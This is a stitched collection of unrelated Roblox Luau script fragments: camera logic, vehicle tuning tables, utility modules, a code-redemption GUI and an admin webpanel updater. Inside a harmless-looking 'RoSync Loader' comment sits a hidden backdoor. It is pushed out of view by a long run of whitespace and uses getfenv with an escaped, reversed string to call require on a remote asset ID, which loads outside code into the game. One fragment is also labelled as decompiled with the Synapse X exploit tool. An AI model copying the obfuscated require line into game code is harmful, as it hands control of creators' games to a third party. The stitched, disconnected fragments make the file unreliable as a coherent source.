Roblox/luau_corpus huggingface dataset:
-- Public methods

function CameraModifier:Destroy()
	self.CameraClass.Update = self.DefaultCamUpdate
	self.PopperClass.Update = self.DefaultPopUpdate
	self.BaseClass.UpdateMouseBehavior = self.DefaultMouseBehavior
end

function CameraModifier:OnCameraUpdate(this, dt)
	workspace.CurrentCamera.CFrame = self.LastCFrame
	workspace.CurrentCamera.Focus = self.LastFocus
	return self.DefaultCamUpdate(this, dt)
end

function CameraModifier:OnPopperUpdate(this, dt, dCamCF, dCamFocus)
	local camCF, focusCF
	if (self.WallStick.CameraMode == "Custom") then
		-- dCamCF and dCamFocus are in physics space
		local hrpCF, phrpCF = self.WallStick.HRP.CFrame, self.WallStick.PhysicsHRP.CFrame
		
		local camCF = hrpCF:ToWorldSpace(phrpCF:ToObjectSpace(dCamCF))
		local focusCF = hrpCF:ToWorldSpace(phrpCF:ToObjectSpace(dCamFocus))
		
		camCF, focusCF = self.DefaultPopUpdate(this, dt, camCF, focusCF) -- real space
		
		self.LastCFrame = phrpCF:ToWorldSpace(hrpCF:ToObjectSpace(camCF))
		self.LastFocus = phrpCF:ToWorldSpace(hrpCF:ToObjectSpace(focusCF))
		
		return camCF, focusCF
	else
		-- if mode is Default or Debug we do nothing special since the camera subject is where it needs to be
		local camCF, focusCF = self.DefaultPopUpdate(this, dt, dCamCF, dCamFocus)
		
		self.LastCFrame = camCF
		self.LastFocus = focusCF
		
		return camCF, focusCF
	end
end
--// Aim|Zoom|Sensitivity Customization
	ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween
	AimZoom = 30; -- Default zoom
	AimSpeed = 0.23;
	UnaimSpeed = 0.1;
	CycleAimZoom = 55; -- Cycled zoom
	MouseSensitivity = 0.5; -- Number between 0.1 and 1
	SensitivityIncrement = 0.05; -- No touchy
--[[Misc]]
Tune.LoadDelay		= 1.37		-- Delay before initializing chassis (in seconds)
Tune.AutoStart		= true		-- Set to false if using manual ignition plugin
Tune.AutoFlip		= false
--[END]]
--[[ Last synced 10/14/2020 09:17 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- FUNCTIONS --
return function(Character)
	local random = Random.new(math.random(1, 10))
	local function randomizeColors()
		for i, v in pairs(Character:GetDescendants()) do
			coroutine.wrap(function()
				if v:IsA("MeshPart") or v:IsA("Part") or v:IsA("UnionOperation") then
					if v.Name == "Head" then
						if v:FindFirstChild("Mesh") then
							v["Mesh"]:Destroy()
						end
					end

					v.Material = Enum.Material.Neon
					TS:Create(v, TweenInfo.new(0.15), {Color = Colors[random:NextInteger(1, #Colors)]}):Play()
				end
			end)()
		end
	end

	coroutine.wrap(function()
		while Character do
			randomizeColors()

			task.wait(0.15)
		end
		
		partCache:Dispose()
	end)()

	task.delay(1, function()
		for i, v in pairs(Character:GetDescendants()) do
			if v:IsA("MeshPart") or v:IsA("Part") then
				-- Implode Tween --
				local tweenTime = 0.7
				
				local ImpTween = TS:Create(v, TweenInfo.new(tweenTime, Enum.EasingStyle.Back, Enum.EasingDirection.In), {Size = v.Size * 1.5})
				ImpTween:Play()

				task.delay(tweenTime, function()
					v.Transparency = 1
					v.Anchored = true
					v.CanCollide = false
					
					coroutine.wrap(function()
						for l, k in pairs(script.ImplosionFX:GetChildren()) do
							local fx = k:Clone()
							fx.Parent = v
							fx:Emit(fx:GetAttribute("EmitCount"))
						end
					end)()
					
					
					for l = 1, random:NextInteger(1, 3) do
						local partSize = random:NextNumber(0.2, 0.6)
						
						local part = partCache:GetPart()
						part.Size = Vector3.new(partSize, partSize, partSize)
						part.Color = Colors[random:NextInteger(1, #Colors)]
						part.CFrame = v.CFrame * CFrame.new(math.random(-(v.Size.X / 2), (v.Size.X / 2)), math.random(-(v.Size.Y / 2), (v.Size.Y / 2)), math.random(-(v.Size.Z / 2), (v.Size.Z / 2)))
						part.Parent = workspace.Debris
						
						TS:Create(part, TweenInfo.new(0.7), {Color = Colors[random:NextInteger(1, #Colors)]}):Play()
						
						task.delay(random:NextNumber(0.3, 0.7), function()
							TS:Create(part, TweenInfo.new(0.7), {Size = Vector3.new()}):Play()
							task.delay(0.7, function()
								partCache:ReturnPart(part)
							end)
						end)
						task.wait()
					end
				end)

			end
		end
	end)	
end
--[[Transmission]]
	Tune.TransModes		= {"Auto"}												--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 3.97			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.42		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.75		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.38		,
		--[[ 3 ]]		1.72		,
		--[[ 4 ]]		1.34		,
		--[[ 5 ]]		1.11		,
		--[[ 6 ]]		.91			,
		--[[ 7 ]]		.78			,
	}
	Tune.FDMult			= 1			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
-- I forgor wtf this was but im adding it anyway.
local module = {}

function module.Subtract(v1, v2)
	return Vector3.new(v1[1] - v2[1], v1[2] - v2[2], v1[3] - v2[3])
end

function module.Add(v1, v2)
	return Vector3.new(v1[1] + v2[1], v1[2] + v2[2], v1[3] + v2[3])
end

function module.RotateVector(vector, rotation)
	local x, y, z = vector[1], vector[2], vector[3]
	local rx, ry, rz = rotation[1], rotation[2], rotation[3]

	-- Apply rotation around X-axis
	local rotatedX = x
	local rotatedY = y * math.cos(rx) - z * math.sin(rx)
	local rotatedZ = y * math.sin(rx) + z * math.cos(rx)

	-- Apply rotation around Y-axis
	local tempX = rotatedX * math.cos(ry) + rotatedZ * math.sin(ry)
	local tempY = rotatedY
	local tempZ = -rotatedX * math.sin(ry) + rotatedZ * math.cos(ry)

	-- Apply rotation around Z-axis
	local finalX = tempX * math.cos(rz) - tempY * math.sin(rz)
	local finalY = tempX * math.sin(rz) + tempY * math.cos(rz)
	local finalZ = tempZ

	return {finalX, finalY, finalZ}
end


return module
-- Variaveis

local portao = script.Parent.Parent.Portao
local botao = script.Parent
local cf1 = script.Parent.Parent.Cf1
local aberto = false
local tela = script.Parent.Parent.Body.Tela
local som = script.Parent.Somzinho
local doorpos = portao.CFrame
--[=[
	@function update
	@within Array

	@param array {T} -- The array to update.
	@param index number -- The index to update.
	@param updater? (value: T, index: number) -> T -- The updater function.
	@param callback? (index: number) -> T -- The callback function.
	@return {T} -- The updated array.

	Updates an array at the given index. If the value at the given index does
	not exist, `callback` will be called, and its return value will be used
	as the value at the given index.

	```lua
	local array = { 1, 2, 3 }

	local new = Update(array, 2, function(value)
		return value + 1
	end) -- { 2, 3, 3 }

	local new = Update(array, 4, function(value)
		return value + 1
	end, function(value)
		return 10
	end) -- { 1, 2, 3, 10 }
	```
]=]
local function update<T>(array: { T }, index: number, updater: Updater<T>?, callback: Callback<T>?): { T }
	local length = #array
	local result = Copy(array)

	if index < 1 then
		index += length
	end

	updater = if type(updater) == "function" then updater else Util.func.returned

	if result[index] ~= nil then
		result[index] = updater(result[index], index)
	else
		result[index] = call(callback, index)
	end

	return result
end

return update
-- Gun
local heldGun = nil
local heldGunHeat = nil
local heatConnection = nil

local onColor = Color3.fromRGB(50, 51, 50)
local offColor = Color3.fromRGB(195, 195, 195)
--Codes
local codelist = {
	code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code
	code2 = "HALLOWEEN"
}

script.Parent.MouseButton1Click:Connect(function()
	if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code
		if date["month"] == 8 and date["day"] <= 3 then -- Months are in numerical order .Month and Day must be in lowercase letters. Use "<=" If you want to make your code valid until that date. Use "==" if you want to make your code valid only on that date.
			if not codes:FindFirstChild("Code1") then -- This one here
				RE:FireServer(500, "Code1") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
				script.Parent.Text = "Code redeemed successfully!"
				script.Parent.Parent.CodeHandler.Text = "" -- Removes the text in our code handler textbox
				wait(2)
				script.Parent.Text = "Redeem Code"
			else
				script.Parent.Text = "Code already redeemed!"
				wait(2)
				script.Parent.Text = "Redeem Code"
			end	
		else
			script.Parent.Text = "Code expired!"
			wait(2)
			script.Parent.Text = "Redeem Code"		
		end
	elseif script.Parent.Parent.CodeHandler.Text == codelist.code2 then -- Your second code. So if our textbox matches the code in our dictionary...
		if not codes:FindFirstChild("Code2") then -- This one here
			RE:FireServer(30, "Code2") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools.
			script.Parent.Text = "Code redeemed successfully!"
			script.Parent.Parent.CodeHandler.Text = ""
			wait(2)
			script.Parent.Text = "Redeem Code"
		else
			script.Parent.Text = "Code already redeemed!"
			wait(2)
			script.Parent.Text = "Redeem Code"
		end
	else
		script.Parent.Text = "Code invalid!"
		script.Parent.Parent.CodeHandler.Text = ""
		wait(2)
		script.Parent.Text = "Redeem Code"
	end
end)
-- Preload animations
function PlayAnimation(AnimName, TransitionTime, Humanoid)
	local IdleFromEmote = (AnimName == "Idle" and EmoteNames[CurrentAnim] ~= nil)
	if AnimName ~= CurrentAnim and not IdleFromEmote then
		
		if CurrentAnimTrack then
			CurrentAnimTrack:Stop(TransitionTime)
			CurrentAnimTrack:Destroy()
		end

		CurrentAnimSpeed = 1
		local Roll = math.random(1, AnimTable[AnimName].TotalWeight) 
		local OrigRoll = roll
		local Index = 1
		while Roll > AnimTable[AnimName][Index].Weight do
			Roll = Roll - AnimTable[AnimName][Index].Weight
			Index = Index + 1
		end
-- Decompiled with the Synapse X Luau decompiler.

local v1 = script:FindFirstAncestor("MainUI");
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local l__Bricks__1 = game:GetService("ReplicatedStorage"):WaitForChild("Bricks");
local u2 = "AchievementUnlock";
local v3 = l__Bricks__1:WaitForChild("AchievementUnlock").OnClientEvent:Connect(function(...)
	require(script:WaitForChild("Modules"):WaitForChild(u2))(m, ...);
end);
---------------------------------------------------------------
function onChildAdded(something)
	if something.Name == "SeatWeld" then
		local human = something.part1.Parent:findFirstChild("Humanoid") 
		if (human ~= nil) then
			s.speedo:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
		end
	end
end

function onChildRemoved(something)
	if (something.Name == "SeatWeld") then	
		local human = something.part1.Parent:findFirstChild("Humanoid") 
		if (human ~= nil) then
			print("Human Found")
			game.Players:findFirstChild(human.Parent.Name).PlayerGui.speedo:remove()
		end
	end
end


script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
-- Module

local SPRING	= {}
local Meta		= {__index = SPRING}
--Put this in a brick to make it move.
--Don't edit ANYTHING unless you know what your doing
while true do
	script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0.03,0,0)
	wait(0.01)
end
--//Setup//--
local Holder = script.Parent

local Button = Holder.IconButton

local EmotesMenu = Holder.Parent.Parent.EmotesMenuHolder
--[[Weight and CG]]
	Tune.Weight			= script.Tune_Weight.Value		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		14		}
	Tune.WeightDist		= 50		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
--[[Handlebars]]--
Tune.SteerAngle		= 20		-- Handlebar angle at max lock (in degrees)
Tune.MSteerExp		= 1 		-- Mouse steering exponential degree
Tune.LowSpeedCut	= 60 		-- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cutoff will be 40/50, or if your full lock is 40 your cutoff will be 20/30)

Tune.SteerD			= 50 		-- Dampening of the Low speed steering
Tune.SteerMaxTorque	= 4000 		-- Force of the the Low speed steering
Tune.SteerP			= 500 		-- Aggressiveness of the the Low speed steering
-------------------------
 
mouse.KeyDown:connect(function (key)
    key = string.lower(key)
				if key == "t" then --Camera controls
				        if cam == ("car") then
							Camera.CameraSubject = player.Character.Humanoid
							Camera.CameraType = ("Custom")
							cam = ("freeplr")
							Camera.FieldOfView = 70
							limitButton.Text = "Free Camera"
							wait(3)
							limitButton.Text = ""
						elseif cam == ("freeplr") then
							Camera.CameraSubject = player.Character.Humanoid
							Camera.CameraType = ("Attach")
							cam = ("lockplr")
							Camera.FieldOfView = 45
							limitButton.Text = "FPV Camera"
							wait(3)
							limitButton.Text = ""
				        elseif cam == ("lockplr") then
							Camera.CameraSubject = carSeat
							Camera.CameraType = ("Custom")
							cam = ("car")
							Camera.FieldOfView = 70
							limitButton.Text = "Standard Camera"
							wait(3)
							limitButton.Text = ""
				        end
			end
		end)
-- ROBLOX deviation: inline Promise type here. should probably go into LuauPolyfill
export type PromiseLike<T> = {
	andThen: (
		((T) -> T)? | (PromiseLike<T>)?, -- resolve
		((any) -> () | PromiseLike<T>)? -- reject
	) -> PromiseLike<T>,
}

export type Promise<T> = {
	andThen: ((
		((T) -> T | PromiseLike<T>)?, -- resolve
		((any) -> () | PromiseLike<nil>)? -- reject
	) -> Promise<T>)?,

	catch: ((((any) -> () | PromiseLike<nil>)) -> Promise<T>)?,

	onCancel: ((() -> ()?) -> boolean)?,
}

export type SyncExpectationResult = {
	pass: boolean,
	message: () -> string,
}

export type AsyncExpectationResult = Promise<SyncExpectationResult>

export type ExpectationResult = SyncExpectationResult | AsyncExpectationResult
--// Functions
function spawnTag(L_15_arg1, L_16_arg2)
	if L_15_arg1 and L_15_arg1:FindFirstChild('Head') ~= nil and L_9_.TeamTags then
		if L_15_arg1:FindFirstChild('Head'):FindFirstChild('TeamTag') and L_15_arg1:FindFirstChild('Head') ~= nil then
			L_15_arg1:FindFirstChild('Head').TeamTag:Destroy()
		end
		local L_17_ = L_7_:WaitForChild('TeamTag'):clone()
		L_17_.Parent = L_15_arg1:FindFirstChild('Head')
		L_17_.Enabled = true
			L_17_.Adornee = L_15_arg1:FindFirstChild('Head')
		L_17_.Frame:WaitForChild('Frame').ImageColor3 = L_16_arg2
	end
end
--------------------------------------------------------------------------------------------------------------


local player = game.Players.LocalPlayer -- Targets the player
local char = player.Character or player.CharacterAdded:Wait() -- Finds player's character
local hrp = char:WaitForChild("HumanoidRootPart") -- Finds character's humanoid root part

local cam = game.Workspace.CurrentCamera
local bar = script.Parent.Border.Bar

local runSound = hrp:WaitForChild("Running") -- Finds the running sound of the player

local TS = game:GetService("TweenService")
local TI = TweenInfo.new(1, Enum.EasingStyle.Quint, Enum.EasingDirection.Out, 0, false, 0)
-- spawn a random ore
local oreName = oreBank[math.random(1,#oreBank)]
--[[Transmission]]
	Tune.TransModes		= {"Auto", "Semi", "Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 3.40			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	2.65		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		2.65		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		1.80		,
		--[[ 3 ]]		1.25		,
		--[[ 4 ]]		1.00		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--// This module is only used to generate and update a list of non-custom commands for the webpanel and will not operate under normal circumstances

return function(Vargs, GetEnv)
	local env = GetEnv(nil, {script = script})
	setfenv(1, env)

	local server = Vargs.Server;
	local service = Vargs.Service;

	local Settings = server.Settings
	local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
		server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps

	--if true then return end --// fully disabled
	service.TrackTask("Thread: WEBPANEL_JSON_UPDATE", function()
		wait(1)
		local enabled = rawget(_G,"ADONISWEB_CMD_JSON_DOUPDATE");
		local secret = rawget(_G,"ADONISWEB_CMD_JSON_SECRET");
		local endpoint = rawget(_G,"ADONISWEB_CMD_JSON_ENDPOINT");
		if not enabled or not secret or not endpoint then return end

		print("WEB ENABLED DO UPDATE");

		if Core.DebugMode and enabled then
			print("DEBUG DO LAUNCH ENABLED");
			wait(5)

			local list = {};
			local HTTP = service.HttpService;
			local Encode = Functions.Base64Encode
			local Decode = Functions.Base64Decode

			for i,cmd in next,Commands do
				table.insert(list, {
					Index = i;
					Prefix = cmd.Prefix;
					Commands = cmd.Commands;
					Arguments = cmd.Args;
					AdminLevel = cmd.AdminLevel;
					Hidden = cmd.Hidden or false;
					NoFilter = cmd.NoFilter or false;
				})
			end

			--warn("COMMANDS LIST JSON: ");
			--print("\n\n".. HTTP:JSONEncode(list) .."\n\n");
			--print("ENCODED")
			--// LAUNCH IT
			print("LAUNCHING")
			local success, res = pcall(HTTP.RequestAsync, HTTP, {
				Url = endpoint;
				Method = "POST";
				Headers = {
					["Content-Type"] = "application/json",
					["Secret"] = secret
				};

				Body = HTTP:JSONEncode({
					["data"] = Encode(HTTP:JSONEncode(list))
				})
			});

			print("LAUNCHED TO WEBPANEL")
			print("RESPONSE BELOW")
			print("SUCCESS: ".. tostring(success).. "\n"..
				"RESPONSE:\n"..(res and HTTP.JSONEncode(res)) or res)
		end
	end)
end
-- @InterpolateDescription Library for interpolation functions

local Interpolate = {}
Interpolate.Replicated = true
--// Math
local L_135_ = function(L_172_arg1, L_173_arg2, L_174_arg3)
	if L_172_arg1 > L_174_arg3 then
		return L_174_arg3
	elseif L_172_arg1 < L_173_arg2 then
		return L_173_arg2
	end
	return L_172_arg1
end

local L_136_ = L_124_.new(Vector3.new())
L_136_.s = 30
L_136_.d = 0.55
	
local L_137_ = CFrame.Angles(0, 0, 0)